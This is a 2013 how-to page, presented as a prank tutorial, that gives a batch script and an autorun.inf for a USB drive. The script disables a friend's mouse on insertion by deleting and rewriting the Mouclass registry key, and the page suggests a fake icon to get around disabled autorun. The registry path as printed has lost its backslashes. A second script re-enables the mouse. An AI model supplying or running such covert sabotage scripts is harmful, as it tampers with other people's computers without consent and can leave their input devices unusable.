Disable Your Friend̢۪s Mouse Whenever USB Disk Is Inserted

Updated on: 2013-02-17

Batch scripting is really easy and so much a fun. You can learn and imagine so many things from batch and shell scripting.

In this short time pass tutorial, I am going to show you how to disable your friend’s mouse whenever your USB drive is inserted.

To get this feature working, you must make sure that your friend has not disabled autorun for removable media. However you may get this to work by creating a fake icon for the batch program.

As we did with our previous tutorial about copying files automatically, we’ll be using same principle here. First we’ll create a batch file and then we’ll be creating autorun.inf file. Then we’ll be pasting it in the root of USB drive. Now whenever the USB drive is inserted, system will look for autorun.inf. Autorun.inf will execute that batch file disabling the mouse.

@echo off
set key="HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

Copy the above code in notepad and save it as “filename.bat”

The above code will disable the mouse by deleteing the registry key of Mouclass and again adds data = 0×00000004 to the valuename = “Start”

Note: The above image is only demonstrates where the action will be taken by the above batch script. It has to do nothing with the procedure of this tutorial.

[autorun]
Open=filename.bat
Action=Mouse Disable

The above code goes for autorun.inf. Open notepad, copy and paste the above code in it and save it as “autorun.inf”.

Now copy both of the file in your or your friend’s USB drive. Then let it do the magic.

To re-enable the mouse you’ll just have to change the value 0×00000004 to 0×00000001. To do so, simply create another batch file with following script:

@echo off
set key="HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1

Hope this tutorial was fun trying to.

Other Tutorials

How To Hack Windows Password
How to Banish Bloatware
Download Firefox for Android 14 Beta with Flash Support
Create easy photo collages on a Mac with CollageIt Free

SIGN UP FOR NEWSLETTER

Sign up to received our free newsletter!
Name:
E-mail ID:

MOST READ

Views: 5843 Times
Draw a Realistic Samsung Galaxy S2 – Photoshop Tutorial READ MORE
Views: 3136 Times
Argentina arrests teen hacker who netted $50,000 a month READ MORE
Views: 3456 Times
Google detects fake website ID certificate threat READ MORE
Views: 7370 Times
Create easy photo collages on a Mac with CollageIt Free READ MORE
Views: 7663 Times
How to view hidden files and folders READ MORE

Home|IT News|Computer Tips|Video Tutorials|Download Softwares|Subjects|Contact Us
Copyright © 2019. Jumbo Education (Information Technology). All rights reserved.
Free counter and web stats

Large Visitor Globe